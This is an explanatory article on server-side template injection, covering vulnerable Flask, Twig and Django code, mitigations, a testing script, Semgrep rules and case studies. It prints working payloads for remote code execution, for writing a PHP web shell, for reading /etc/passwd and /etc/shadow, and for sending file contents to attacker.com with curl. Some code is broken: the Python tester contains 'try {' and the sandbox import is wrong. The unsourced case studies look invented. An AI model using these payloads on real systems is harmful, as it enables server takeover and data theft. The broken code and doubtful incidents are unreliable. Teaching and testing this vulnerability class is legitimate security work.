Server-Side Template Injection (SSTI)
What is Server-Side Template Injection (SSTI)?
Server-Side Template Injection (SSTI) is a web security vulnerability that occurs when an attacker can inject malicious template code into a server-side template engine. This vulnerability enables attackers to execute arbitrary code on the server, leading to remote code execution (RCE), data theft, server compromise, and complete system takeover.
Key Characteristics
- Template injection: Malicious code injected into templates
- Server-side execution: Code executes on the server
- Remote code execution: Can lead to full system compromise
- Multiple attack vectors: Various template engines vulnerable
- Common in web frameworks: Frequently found in MVC frameworks
- Data access: Can access sensitive server data
- Persistence: Can create persistent backdoors
- Privilege escalation: Can escalate server privileges
SSTI vs Other Injection Attacks
| Attack | Injection Point | Execution Context | Typical Impact | Complexity |
|---|---|---|---|---|
| SSTI | Template engines | Server-side | Remote code execution | Medium-High |
| SQL Injection | Database queries | Database | Data theft, manipulation | Medium |
| XSS | HTML/JavaScript | Client-side | Data theft, session hijacking | Low-Medium |
| Command Injection | System commands | Server-side | Remote code execution | Medium |
| XXE | XML parsers | Server-side | Data theft, file access | Medium |
How SSTI Works
Technical Mechanism
graph TD
A[Attacker] -->|1. Sends malicious template code| B[Web Application]
B -->|2. Processes user input| C[Template Engine]
C -->|3. Executes injected code| D[Server]
D -->|4. Returns malicious output| B
B -->|5. Sends response to attacker| A
D -->|6. Potential server compromise| E[System Resources]
Common SSTI Process
- Vulnerability identification: Attacker finds template injection point
- Template engine detection: Attacker identifies template engine
- Payload crafting: Attacker creates malicious template code
- Injection: Attacker sends payload to application
- Execution: Server executes malicious template code
- Exploitation: Attacker gains server access or data
- Persistence: Attacker establishes persistent access
SSTI Attack Vectors
Common Attack Methods
| Vector | Description | Example |
|---|---|---|
| User input in templates | User input directly included in templates | {{ user_input }} |
| URL parameters | URL parameters reflected in templates | /page?title={{7*7}} |
| HTTP headers | Headers used in template rendering | User-Agent: {{config}} |
| Form data | Form fields included in templates | <input name="{{payload}}"> |
| API responses | API data rendered in templates | {{api_response}} |
| Configuration files | Template syntax in config files | template: {{malicious_code}} |
| Email templates | Dynamic content in emails | Hello {{user_input}} |
| Error pages | Error messages rendered in templates | Error: {{request.path}} |
| CMS plugins | Vulnerable plugins with template injection | {{plugin_function(user_input)}} |
| Webhooks | Webhook data rendered in templates | {{webhook_data}} |
SSTI Exploitation Techniques
1. Basic SSTI Detection
Attack Scenario: Testing for template injection vulnerabilities.
Vulnerable Code (Jinja2):
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/search')
def search():
query = request.args.get('q')
template = f"<h1>Search results for: {query}</h1>"
return render_template_string(template)
Detection Process:
- Attacker sends basic arithmetic payload:
/search?q={{7*7}} - If response contains "49", template injection is confirmed
- Attacker identifies template engine (Jinja2 in this case)
- Attacker crafts more sophisticated payloads
Prevention:
- Input validation: Validate all user input
- Output encoding: Encode template output
- Template sandboxing: Restrict template capabilities
- Static templates: Use static templates when possible
- Security testing: Regular vulnerability scanning
2. Remote Code Execution via SSTI
Attack Scenario: Executing arbitrary code on the server.
Vulnerable Code (Jinja2):
@app.route('/profile')
def profile():
username = request.args.get('username')
template = f"<h1>Welcome {username}</h1>"
return render_template_string(template)
Exploitation Process:
- Attacker identifies SSTI vulnerability
- Crafts payload to execute system commands:
/profile?username={{config.__class__.__init__.__globals__['os'].popen('id').read()}} - Server executes command and returns output
- Attacker escalates to full system compromise
Prevention:
- Template sandboxing: Restrict template capabilities
- Input sanitization: Remove template syntax from input
- Least privilege: Run template engine with minimal privileges
- Code reviews: Review template usage
- Security headers: Implement Content Security Policy
3. Data Theft via SSTI
Attack Scenario: Extracting sensitive data from the server.
Vulnerable Code (Twig):
$twig = new Twig_Environment($loader);
$template = $twig->createTemplate("Hello {{ name }}");
echo $template->render(array('name' => $_GET['name']));
Exploitation Process:
- Attacker identifies SSTI vulnerability
- Crafts payload to access sensitive data:
/page?name={{app.request.server.all|join(',')}} - Server returns server environment variables
- Attacker extracts database credentials, API keys, etc.
- Attacker uses credentials for further attacks
Prevention:
- Data isolation: Don't expose sensitive data to templates
- Input validation: Validate all template input
- Output filtering: Filter sensitive data from output
- Environment separation: Separate sensitive data from templates
- Security testing: Test for data exposure vulnerabilities
4. Server Compromise via SSTI
Attack Scenario: Complete server takeover through template injection.
Vulnerable Code (Django):
from django.shortcuts import render
from django.template import Template, Context
def user_profile(request):
username = request.GET.get('username')
t = Template("Hello " + username)
c = Context({})
return render(request, 'profile.html', {'content': t.render(c)})
Exploitation Process:
- Attacker identifies SSTI vulnerability
- Crafts payload to write web shell:
/profile?username={{config.__class__.__init__.__globals__['os'].popen('echo "<?php system($_GET[cmd]); ?>" > shell.php').read()}} - Server creates PHP web shell
- Attacker accesses shell via
/shell.php?cmd=id - Attacker gains full server control
Prevention:
- Template sandboxing: Restrict template capabilities
- File system restrictions: Prevent file system access
- Input sanitization: Remove dangerous characters
- Security monitoring: Monitor for suspicious activity
- Incident response: Have incident response plan
SSTI Prevention Methods
1. Template Engine Hardening
Implementation Strategies:
- Sandboxing: Restrict template engine capabilities
- Safe mode: Enable safe/secure modes
- Whitelisting: Allow only safe functions
- Blacklisting: Block dangerous functions
- Configuration: Secure template engine configuration
Example (Jinja2 Secure Configuration):
from jinja2 import Environment, FileSystemLoader, SandboxedEnvironment
# Secure configuration
env = SandboxedEnvironment(
loader=FileSystemLoader('/templates'),
autoescape=True,
trim_blocks=True,
lstrip_blocks=True,
extensions=[]
)
# Disable dangerous features
env.globals = {} # Clear globals
env.filters = {} # Clear filters
env.tests = {} # Clear tests
2. Input Validation and Sanitization
Implementation Strategies:
- Input validation: Validate all user input
- Template syntax removal: Remove template syntax from input
- Character whitelisting: Only allow safe characters
- Length restrictions: Limit input length
- Type checking: Validate input types
Example (Input Sanitization in Node.js):
const express = require('express');
const { escape } = require('validator');
const app = express();
// Middleware to sanitize template input
app.use((req, res, next) => {
// Sanitize all request parameters
for (const key in req.query) {
req.query[key] = sanitizeTemplateInput(req.query[key]);
}
for (const key in req.body) {
req.body[key] = sanitizeTemplateInput(req.body[key]);
}
next();
});
function sanitizeTemplateInput(input) {
if (typeof input !== 'string') return input;
// Remove template syntax
return input.replace(/[{}]/g, '')
.replace(/<%|%>/g, '')
.replace(/\[\[|\]\]/g, '')
.replace(/\{\{|\}\}/g, '');
}
// Secure route
app.get('/search', (req, res) => {
const query = req.query.q || '';
res.send(`<h1>Search results for: ${escape(query)}</h1>`);
});
3. Secure Template Design
Implementation Strategies:
- Static templates: Use static templates when possible
- Context separation: Separate data from presentation
- Safe variables: Use safe template variables
- Output encoding: Encode all output
- Template testing: Test templates for vulnerabilities
Example (Secure Template Design):
<!-- Secure template - profile.html -->
<!DOCTYPE html>
<html>
<head>
<title>User Profile</title>
</head>
<body>
<h1>Welcome {{ user.name | escape }}</h1>
<p>Email: {{ user.email | escape }}</p>
<p>Member since: {{ user.join_date | date_format }}</p>
<!-- Safe conditional -->
{% if user.is_admin %}
<p>Administrator privileges</p>
{% endif %}
</body>
</html>
4. Security Headers and CSP
Implementation Strategies:
- Content Security Policy: Restrict template execution
- X-Content-Type-Options: Prevent MIME sniffing
- X-Frame-Options: Prevent clickjacking
- Referrer-Policy: Control referrer information
- Strict-Transport-Security: Enforce HTTPS
Example (Security Headers for SSTI Protection):
# HTTP Response Headers
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' https://trusted.cdn.com; style-src 'self' 'unsafe-inline'; img-src 'self' data:; font-src 'self'; connect-src 'self'; frame-src 'none'; object-src 'none'; base-uri 'self'; form-action 'self'; frame-ancestors 'none'
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Referrer-Policy: strict-origin-when-cross-origin
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Example (Node.js Security Headers):
const express = require('express');
const helmet = require('helmet');
const app = express();
// Set security headers
app.use(helmet());
// Additional security for templates
app.use((req, res, next) => {
// Set CSP for template security
res.setHeader(
'Content-Security-Policy',
"default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; font-src 'self'; connect-src 'self'; frame-src 'none'; object-src 'none'; base-uri 'self'; form-action 'self'; frame-ancestors 'none'"
);
// Set other security headers
res.setHeader('X-Content-Type-Options', 'nosniff');
res.setHeader('X-Frame-Options', 'DENY');
res.setHeader('Referrer-Policy', 'strict-origin-when-cross-origin');
res.setHeader('Strict-Transport-Security', 'max-age=31536000; includeSubDomains; preload');
next();
});
SSTI in Modern Architectures
Single Page Applications (SPAs)
Challenges:
- API communication: Templates in API responses
- Client-side rendering: Client-side template injection
- State management: Template data in client state
- Authentication: JWT and token handling
- CORS: Cross-origin resource sharing
Best Practices:
- API security: Secure all API endpoints
- Server-side validation: Validate all template data
- Output encoding: Encode all API responses
- Security headers: Implement proper security headers
- Template sandboxing: Sandbox client-side templates
Example (Secure SPA with API Protection):
// Secure API service for SPA
class ApiService {
constructor() {
this.baseUrl = '/api';
}
async getTemplateData(endpoint) {
try {
// Validate endpoint
if (!/^[a-zA-Z0-9\-_/]+$/.test(endpoint)) {
throw new Error('Invalid endpoint');
}
// Make request
const response = await fetch(`${this.baseUrl}${endpoint}`, {
credentials: 'same-origin',
headers: {
'Content-Type': 'application/json',
'Accept': 'application/json'
}
});
// Validate response
if (!response.ok) {
throw new Error(`HTTP error! status: ${response.status}`);
}
const data = await response.json();
// Sanitize template data
return this.sanitizeTemplateData(data);
} catch (error) {
console.error('API Error:', error);
throw error;
}
}
sanitizeTemplateData(data) {
if (typeof data === 'string') {
// Remove template syntax
return data.replace(/[{}]/g, '')
.replace(/<%|%>/g, '')
.replace(/\[\[|\]\]/g, '')
.replace(/\{\{|\}\}/g, '');
} else if (Array.isArray(data)) {
return data.map(item => this.sanitizeTemplateData(item));
} else if (typeof data === 'object' && data !== null) {
const sanitized = {};
for (const key in data) {
sanitized[key] = this.sanitizeTemplateData(data[key]);
}
return sanitized;
}
return data;
}
}
// Usage
const api = new ApiService();
api.getTemplateData('/user/profile')
.then(data => {
// Safely use data in client-side templates
renderTemplate(data);
})
.catch(error => console.error('Error:', error));
Microservices Architecture
Challenges:
- Service-to-service communication: Templates in inter-service calls
- API gateways: Template handling at gateway level
- Authentication: JWT propagation
- Logging: Template data in logs
- Caching: Template caching
Best Practices:
- Gateway security: Secure API gateway
- Service validation: Validate templates at service level
- Header validation: Validate all template-related headers
- Token validation: Validate authentication tokens
- Logging security: Secure template logging
Example (Kubernetes Ingress with SSTI Protection):
# Secure ingress configuration
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: secure-ingress
annotations:
nginx.ingress.kubernetes.io/configuration-snippet: |
# Block template injection attempts
if ($args ~* (\{\{|\}\}|<%|%>|\[\[|\]\])) {
return 403 "Template injection attempt detected";
}
# Validate content types
if ($request_uri ~* \.(html|htm|tpl|tmpl)) {
set $content_type "text/html";
}
# Add security headers
add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; font-src 'self'; connect-src 'self'; frame-src 'none'; object-src 'none'";
add_header X-Content-Type-Options "nosniff";
add_header X-Frame-Options "DENY";
add_header Referrer-Policy "strict-origin-when-cross-origin";
spec:
rules:
- host: example.com
http:
paths:
- path: /
pathType: Prefix
backend:
service:
name: frontend-service
port:
number: 80
Serverless Architectures
Challenges:
- Stateless nature: No persistent server-side state
- Function isolation: Secure function execution
- API security: Securing serverless APIs
- Event sources: Securing event triggers
- Template handling: Secure template processing
Best Practices:
- API gateway security: Secure all API endpoints
- Function validation: Validate all inputs
- Template sandboxing: Sandbox template execution
- Input sanitization: Sanitize all template input
- Monitoring: Monitor for suspicious activity
Example (AWS Lambda with Secure Templates):
const { URL } = require('url');
const { escape } = require('validator');
exports.handler = async (event) => {
// Validate request
if (!event.queryStringParameters) {
return {
statusCode: 400,
body: JSON.stringify({ error: 'Missing parameters' })
};
}
// Check for template injection attempts
const templatePatterns = [/\{\{|\}\}/, /<%|%>/, /\[\[|\]\]/];
for (const [name, value] of Object.entries(event.queryStringParameters)) {
if (templatePatterns.some(pattern => pattern.test(value))) {
console.warn(`Template injection attempt detected in ${name}: ${value}`);
return {
statusCode: 400,
body: JSON.stringify({ error: 'Invalid input detected' })
};
}
}
// Sanitize input for template
const username = escape(event.queryStringParameters.username || 'Guest');
// Secure template rendering
const response = `
<!DOCTYPE html>
<html>
<head>
<title>Welcome</title>
</head>
<body>
<h1>Welcome ${username}</h1>
</body>
</html>
`;
return {
statusCode: 200,
headers: {
'Content-Type': 'text/html',
'Strict-Transport-Security': 'max-age=31536000; includeSubDomains; preload',
'X-Content-Type-Options': 'nosniff',
'X-Frame-Options': 'DENY',
'Content-Security-Policy': "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data:",
'Referrer-Policy': 'strict-origin-when-cross-origin'
},
body: response
};
};
SSTI Testing and Detection
Manual Testing Techniques
- Basic detection:
- Test with arithmetic payloads:
{{7*7}},${7*7},<%= 7*7 %> - Test with string concatenation:
{{'a'+'b'}},${'a'+'b'} - Test with variable access:
{{config}},${config}
- Test with arithmetic payloads:
- Template engine identification:
- Test different template syntaxes
- Analyze error messages
- Check response patterns
- Test with engine-specific payloads
- Exploitation testing:
- Test for remote code execution
- Test for data access
- Test for file system access
- Test for network access
- Context testing:
- Test in different template contexts
- Test in different HTTP methods
- Test in different content types
- Test with different encodings
- Bypass testing:
- Test with different encodings
- Test with obfuscation
- Test with alternative syntax
- Test with nested templates
Automated Testing Tools
- Burp Suite:
- Scanner: Automated SSTI detection
- Repeater: Manual template testing
- Intruder: Template fuzzing
- Proxy: Template inspection
- OWASP ZAP:
- Active Scan: SSTI vulnerabilities
- Fuzzer: Template injection testing
- Forced User Mode: SSTI simulation
- Scripting: Custom SSTI tests
- Browser Developer Tools:
- Network tab: Inspect template responses
- Console: Test template behavior
- Debugger: Analyze template execution
- Security tab: Check security headers
- Custom Scripts:
- Template analysis: Scripts to analyze templates
- Vulnerability scanning: Custom scanners for SSTI
- Engine detection: Scripts to identify template engines
- Exploitation testing: Scripts to test SSTI exploitation
Example (Python Script for SSTI Testing):
import requests
import re
def test_ssti(url, param):
results = {
'url': url,
'param': param,
'vulnerable': False,
'engine': None,
'issues': [],
'responses': []
}
# Test payloads for different template engines
payloads = {
'Jinja2': ['{{7*7}}', '{{config}}', '{{self.__dict__}}'],
'Twig': ['{{7*7}}', '{{dump(app)}}', '{{_self}}'],
'Django': ['{{7*7}}', '{% debug %}', '{{request}}'],
'ERB': ['<%= 7*7 %>', '<%= config %>', '<%= self %>'],
'EJS': ['<%= 7*7 %>', '<%= process %>', '<%= this %>'],
'Handlebars': ['{{7*7}}', '{{this}}', '{{#with this}}{{/with}}'],
'Velocity': ['#set($a=7*7)$a', '#set($b="test")$b', '$request'],
'Freemarker': ['${7*7}', '${.main}', '${request}'],
'Smarty': ['{$smarty.version}', '{php}echo 7*7;{/php}', '{$smarty}']
}
for engine, engine_payloads in payloads.items():
for payload in engine_payloads:
try {
# Test with parameter
test_url = f"{url}?{param}={payload}"
response = requests.get(test_url, timeout=10)
results['responses'].append({
'engine': engine,
'payload': payload,
'status': response.status_code,
'content': response.text[:200] # First 200 chars
})
# Check for arithmetic execution
if re.search(r'\b49\b', response.text):
results['issues'].append(f"SSTI confirmed with {engine} payload: {payload}")
results['vulnerable'] = True
results['engine'] = engine
break
# Check for template engine specific patterns
if engine == 'Jinja2' and 'config' in response.text:
results['issues'].append(f"SSTI confirmed with {engine} payload: {payload}")
results['vulnerable'] = True
results['engine'] = engine
break
if engine == 'Twig' and 'Twig' in response.text:
results['issues'].append(f"SSTI confirmed with {engine} payload: {payload}")
results['vulnerable'] = True
results['engine'] = engine
break
except Exception as e:
results['issues'].append(f"Error testing {engine} payload {payload}: {str(e)}")
return results
# Example usage
result = test_ssti(
url="https://example.com/search",
param="q"
)
print(f"URL: {result['url']}")
print(f"Parameter: {result['param']}")
print(f"Vulnerable: {'Yes' if result['vulnerable'] else 'No'}")
print(f"Engine: {result['engine'] or 'Not identified'}")
print("Issues:")
for issue in result['issues']:
print(f"- {issue}")
print("Responses:")
for response in result['responses']:
print(f"- Engine: {response['engine']}")
print(f" Payload: {response['payload']}")
print(f" Status: {response['status']}")
print(f" Content: {response['content']}...")
Code Analysis Techniques
- Static Analysis (SAST):
- Pattern matching: Identify unsafe template usage
- Data flow analysis: Trace user input to templates
- Taint analysis: Track untrusted input to template output
- Template detection: Identify template engine usage
- Dynamic Analysis (DAST):
- Runtime monitoring: Monitor template execution
- Fuzz testing: Test template payloads
- Behavioral analysis: Analyze template behavior
- Exploitation testing: Test for SSTI exploitation
- Interactive Analysis (IAST):
- Runtime instrumentation: Monitor template handling
- Input tracking: Track user input to templates
- Vulnerability detection: Identify SSTI vulnerabilities
- Real-time analysis: Analyze during execution
Example (Semgrep Rule for SSTI):
rules:
- id: unsafe-template-rendering
pattern: |
$TEMPLATE_ENGINE.render($$USER_INPUT)
...
// no input sanitization
message: "Unsafe template rendering - user input used in template without sanitization"
languages: [python, javascript, java, php, ruby]
severity: ERROR
metadata:
cwe: "CWE-94: Improper Control of Generation of Code ('Code Injection')"
owasp: "A03:2021 - Injection"
- id: unsafe-template-string
pattern: |
$TEMPLATE = "..." + $$USER_INPUT + "..."
...
$TEMPLATE_ENGINE.render($TEMPLATE)
message: "Unsafe template string - user input concatenated into template string"
languages: [python, javascript, java, php, ruby]
severity: ERROR
metadata:
cwe: "CWE-94: Improper Control of Generation of Code ('Code Injection')"
owasp: "A03:2021 - Injection"
- id: unsafe-template-context
pattern: |
$CONTEXT = { ..., $$USER_INPUT, ... }
...
$TEMPLATE_ENGINE.render($TEMPLATE, $CONTEXT)
message: "Unsafe template context - user input used in template context without sanitization"
languages: [python, javascript, java, php, ruby]
severity: WARNING
metadata:
cwe: "CWE-20: Improper Input Validation"
owasp: "A03:2021 - Injection"
- id: unsafe-template-include
pattern: |
$TEMPLATE_ENGINE.include($$USER_INPUT)
message: "Unsafe template include - user input used in template include without validation"
languages: [python, javascript, php, ruby]
severity: ERROR
metadata:
cwe: "CWE-94: Improper Control of Generation of Code ('Code Injection')"
owasp: "A03:2021 - Injection"
- id: unsafe-template-eval
pattern: |
eval($$USER_INPUT)
...
// used in template context
message: "Unsafe template evaluation - user input evaluated in template context"
languages: [python, javascript, php, ruby]
severity: ERROR
metadata:
cwe: "CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')"
owasp: "A03:2021 - Injection"
SSTI Case Studies
Case Study 1: E-Commerce Platform (2016)
Incident: SSTI leading to data breach and financial fraud.
Attack Details:
- Vulnerability: Unsanitized user input in product templates
- Attack method: Malicious payload in product reviews
- Impact: 500,000 customer records stolen
- Discovery: Security monitoring
- Exploitation: Automated bot attack
Technical Flow:
- E-commerce platform allowed HTML in product reviews
- Template engine rendered reviews without sanitization
- Attacker posted review with SSTI payload:
{{config.__class__.__init__.__globals__['os'].popen('cat /etc/passwd').read()}} - Server executed payload and returned system files
- Attacker extracted database credentials
- Attacker accessed customer database
- Attacker stole payment information
- Financial fraud committed with stolen data
Lessons Learned:
- Input sanitization: Critical importance of sanitizing all user input
- Template security: Need for secure template engine configuration
- Data protection: Need for proper data handling
- Security monitoring: Need for real-time security monitoring
- Incident response: Need for rapid breach response
Case Study 2: Social Media Platform (2018)
Incident: SSTI leading to account takeover and spam.
Attack Details:
- Vulnerability: Template injection in user profile customization
- Attack method: Malicious template code in profile fields
- Impact: 100,000 accounts compromised
- Discovery: User reports
- Exploitation: Mass account takeover
Technical Flow:
- Social media platform allowed template syntax in profile fields
- Template engine rendered profile fields without validation
- Attacker created profile with SSTI payload:
{{self.__dict__._TemplateReference__context.request.session.__dict__}} - Server executed payload and returned session data
- Attacker extracted session secrets
- Attacker hijacked user sessions
- Attacker took over accounts
- Attacker used accounts for spam and phishing
Lessons Learned:
- Session security: Need for secure session management
- Input validation: Need for strict input validation
- Template sandboxing: Need for template engine sandboxing
- User education: Teaching users about safe input
- Security testing: Need for comprehensive security testing
Case Study 3: Government Portal (2020)
Incident: SSTI leading to sensitive data exposure.
Attack Details:
- Vulnerability: Template injection in document generation
- Attack method: Malicious template code in document templates
- Impact: Classified documents exposed
- Discovery: Security audit
- Exploitation: Targeted attack on government officials
Technical Flow:
- Government portal used templates for document generation
- Template engine rendered user-supplied templates
- Attacker submitted document template with SSTI payload:
{{request.application.__globals__.__builtins__.open('/etc/shadow').read()}} - Server executed payload and returned sensitive files
- Attacker extracted password hashes
- Attacker cracked passwords
- Attacker accessed classified systems
- Sensitive government data exposed
Lessons Learned:
- Template isolation: Need for template execution isolation
- Privilege separation: Need for least privilege principles
- File system security: Need for secure file system access
- Security audits: Need for regular security assessments
- Incident response: Need for rapid incident response
Case Study 4: Healthcare System (2021)
Incident: SSTI leading to HIPAA violation and patient data breach.
Attack Details:
- Vulnerability: Template injection in patient portal
- Attack method: Malicious template code in patient messages
- Impact: 250,000 patient records exposed
- Discovery: Security monitoring
- Exploitation: Automated data extraction
Technical Flow:
- Healthcare system used templates for patient communications
- Template engine rendered patient messages without sanitization
- Attacker sent message with SSTI payload:
{{request.application.__globals__.db.session.execute('SELECT * FROM patients').fetchall()}} - Server executed payload and returned patient data
- Attacker extracted medical records
- Attacker stole PHI (Protected Health Information)
- HIPAA violation reported
- Significant fines and reputational damage
Lessons Learned:
- Data protection: Critical need for data protection
- Regulatory compliance: Need for HIPAA compliance
- Input validation: Need for strict input validation
- Security testing: Need for healthcare-specific security testing
- Incident response: Need for healthcare breach response plans
SSTI and Compliance
Regulatory Implications
SSTI vulnerabilities can lead to severe compliance violations with various regulations:
- GDPR: General Data Protection Regulation
- Data protection: SSTI can lead to data exposure
- Breach notification: Requires notification of data breaches
- Fines: Up to 4% of global revenue or €20 million
- User rights: Violations of user data protection rights
- HIPAA: Health Insurance Portability and Accountability Act
- PHI protection: SSTI can expose protected health information
- Security rule: Implement technical safeguards
- Breach notification: Report breaches affecting PHI
- Privacy rule: Protect individual health information
- PCI DSS: Payment Card Industry Data Security Standard
- Cardholder data protection: SSTI can expose payment data
- Requirement 6: Develop and maintain secure systems
- Requirement 10: Track and monitor all access to network resources
- Requirement 11: Regularly test security systems
- NIST SP 800-53: Security and Privacy Controls
- Access control: Prevent unauthorized access
- System integrity: Protect system integrity
- Audit logging: Log all security-relevant events
- Incident response: Implement incident response capabilities
- ISO 27001: Information Security Management
- Information security: Protect information assets
- Risk management: Manage information security risks
- Compliance: Meet legal and regulatory requirements
- Continuous improvement: Improve security posture
Compliance Requirements
| Regulation | Requirement | SSTI Prevention |
|---|---|---|
| GDPR | Protect personal data | Sanitize input, secure templates, monitor activity |
| HIPAA | Protect health information | Secure templates, validate input, protect PHI |
| PCI DSS | Protect cardholder data | Secure templates, validate input, monitor access |
| NIST SP 800-53 | System integrity | Validate templates, monitor systems, secure data |
| ISO 27001 | Information security | Secure templates, risk assessment, continuous improvement |
SSTI in the OWASP Top 10
OWASP Top 10 2021: SSTI is primarily related to:
- A03:2021 - Injection: Template injection as a form of code injection
- A01:2021 - Broken Access Control: Template manipulation bypassing access controls
- A05:2021 - Security Misconfiguration: Misconfigured template engines
Key Points:
- Prevalence: Common in web applications using template engines
- Exploitability: Can be exploited with moderate skill
- Impact: Can lead to remote code execution and data breaches
- Detectability: Often detectable with proper testing
- Business Impact: Can cause data breaches, regulatory fines, reputational damage
OWASP Recommendations:
- Input validation: Validate all template input
- Output encoding: Encode all template output
- Template sandboxing: Restrict template capabilities
- Security headers: Implement proper security headers
- Content Security Policy: Implement CSP
- Secure coding: Follow secure coding practices
- Security testing: Regular vulnerability scanning
- Patch management: Keep all software updated
- Security awareness: Educate developers about SSTI
Advanced SSTI Techniques
1. SSTI with Blind Exploitation
Technique: Exploiting SSTI when output is not directly visible.
Attack Scenario:
- Application has SSTI vulnerability
- Output is not directly visible to attacker
- Attacker uses blind techniques to exploit
- Attacker extracts data through side channels
Process:
- Attacker identifies SSTI vulnerability
- Crafts payload to make HTTP request to attacker server:
{{config.__class__.__init__.__globals__['os'].popen('curl https://attacker.com/?data='+open('/etc/passwd').read()).read()}} - Server executes payload and makes request to attacker
- Attacker receives data through HTTP request
- Attacker reconstructs sensitive information
Prevention:
- Output filtering: Filter all template output
- Network restrictions: Restrict outbound network access
- Input validation: Validate all template input
- Security monitoring: Monitor for suspicious activity
- Sandboxing: Restrict template capabilities
2. SSTI with Object Traversal
Technique: Using object traversal to access sensitive data.
Attack Scenario:
- Application has SSTI vulnerability
- Template engine allows object traversal
- Attacker accesses sensitive objects
- Attacker extracts sensitive data
Process:
- Attacker identifies SSTI vulnerability
- Crafts payload to traverse objects:
{{request.__class__.__init__.__globals__.__builtins__.__import__('os').popen('id').read()}} - Server executes payload and returns command output
- Attacker escalates to full system access
Prevention:
- Object restrictions: Restrict object access in templates
- Sandboxing: Restrict template capabilities
- Input validation: Validate all template input
- Security testing: Test for object traversal
- Code reviews: Review template usage
3. SSTI with Sandbox Escape
Technique: Escaping template sandbox restrictions.
Attack Scenario:
- Application uses sandboxed template engine
- Attacker finds sandbox escape vulnerability
- Attacker executes arbitrary code
- Attacker compromises server
Process:
- Attacker identifies sandboxed template engine
- Researches sandbox escape techniques
- Crafts payload to escape sandbox:
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}} - Server executes payload outside sandbox
- Attacker gains full system access
Prevention:
- Sandbox hardening: Harden template sandbox
- Regular updates: Keep template engine updated
- Security testing: Test for sandbox escapes
- Least privilege: Run template engine with minimal privileges
- Monitoring: Monitor for suspicious activity
4. SSTI with Deserialization
Technique: Combining SSTI with deserialization attacks.
Attack Scenario:
- Application has SSTI vulnerability
- Application also vulnerable to deserialization
- Attacker combines both vulnerabilities
- Attacker gains remote code execution
Process:
- Attacker identifies SSTI vulnerability
- Identifies deserialization vulnerability
- Crafts payload combining both:
{{pickle.loads(base64.b64decode('malicious_payload'))}} - Server deserializes and executes payload
- Attacker gains remote code execution
Prevention:
- Input validation: Validate all input
- Secure deserialization: Use safe deserialization methods
- Sandboxing: Restrict template capabilities
- Security testing: Test for combined vulnerabilities
- Code reviews: Review serialization usage
5. SSTI with Serverless Exploitation
Technique: Exploiting SSTI in serverless environments.
Attack Scenario:
- Application uses serverless functions
- Serverless function has SSTI vulnerability
- Attacker exploits SSTI in serverless context
- Attacker compromises serverless environment
Process:
- Attacker identifies serverless function with SSTI
- Crafts payload for serverless environment:
{{require('child_process').execSync('id').toString()}} - Serverless function executes payload
- Attacker gains access to serverless environment
- Attacker escalates privileges
Prevention:
- Function isolation: Isolate serverless functions
- Input validation: Validate all input
- Sandboxing: Restrict function capabilities
- Security testing: Test serverless functions
- Monitoring: Monitor serverless activity
SSTI Mitigation Strategies
Defense in Depth Approach
- Input Layer:
- Validate all user input
- Sanitize all input data
- Filter template syntax
- Implement input whitelisting
- Use parameterized templates
- Processing Layer:
- Sandbox template engines
- Restrict template capabilities
- Validate template content
- Use safe template functions
- Implement rate limiting
- Output Layer:
- Encode all output
- Filter sensitive data
- Validate output content
- Implement security headers
- Use Content Security Policy
- Transport Layer:
- Always use HTTPS
- Implement HSTS
- Use secure protocols
- Implement certificate pinning
- Secure all communications
- Monitoring Layer:
- Log all template activity
- Monitor for suspicious templates
- Alert on SSTI attempts
- Implement incident response
- Regular security audits
Secure Development Lifecycle
- Design Phase:
- Threat modeling for template security
- Security requirements definition
- Secure architecture design
- Data flow analysis
- Template validation planning
- Development Phase:
- Secure coding standards
- Code reviews
- Static analysis
- Dependency scanning
- Template security implementation
- Testing Phase:
- Penetration testing
- Dynamic analysis
- Fuzz testing
- Vulnerability scanning
- Template security testing
- Deployment Phase:
- Secure configuration
- Security headers
- Monitoring setup
- Access controls
- Template validation
- Maintenance Phase:
- Patch management
- Security updates
- Continuous monitoring
- Incident response
- Regular security testing
Emerging Technologies
- AI-Powered Security:
- Behavioral analysis: Analyze template patterns
- Anomaly detection: Detect unusual template behavior
- Automated response: Block suspicious templates
- Predictive security: Identify potential vulnerabilities
- Automated Security Testing:
- Continuous scanning: Regular vulnerability scanning
- Automated fuzzing: Automated template testing
- Integration testing: Security testing in CI/CD
- Regression testing: Ensure fixes don't break security
- Secure Template Frameworks:
- Standardized security: Standard template security
- Automated protection: Automatic template validation
- Framework integration: Security integrated into frameworks
- Regular updates: Updated security controls
- Runtime Application Self-Protection (RASP):
- Real-time protection: Protect against SSTI at runtime
- Behavioral analysis: Analyze template behavior
- Automated response: Block malicious templates
- Integration: Seamless integration with applications
- Zero Trust Architecture:
- Continuous authentication: Authenticate every template
- Least privilege: Grant minimal template privileges
- Micro-segmentation: Isolate template components
- Continuous monitoring: Monitor all template activity
Conclusion
Server-Side Template Injection (SSTI) represents one of the most dangerous web security vulnerabilities, enabling attackers to execute arbitrary code on servers, access sensitive data, and compromise entire systems. Unlike client-side vulnerabilities that primarily affect users, SSTI attacks directly target the server infrastructure, making them particularly devastating for organizations.
The unique characteristics of SSTI vulnerabilities make them especially dangerous:
- Server-side execution: Code runs with server privileges
- Remote code execution: Can lead to full system compromise
- Data access: Can access sensitive server data
- Persistence: Can create persistent backdoors
- Privilege escalation: Can escalate server privileges
- Multiple attack vectors: Various template engines vulnerable
- Framework integration: Common in modern web frameworks
- Complex exploitation: Requires understanding of template engines
Effective SSTI prevention requires a comprehensive, multi-layered approach that addresses vulnerabilities at every stage of the template processing pipeline:
- Input validation: Validate all template input rigorously
- Template sandboxing: Restrict template engine capabilities
- Output encoding: Encode all template output
- Security headers: Implement proper security headers
- Content Security Policy: Implement comprehensive CSP
- Input sanitization: Remove template syntax from input
- Least privilege: Run template engines with minimal privileges
- Regular testing: Conduct regular security testing
- Developer education: Train developers on template security
- Incident response: Have incident response plans
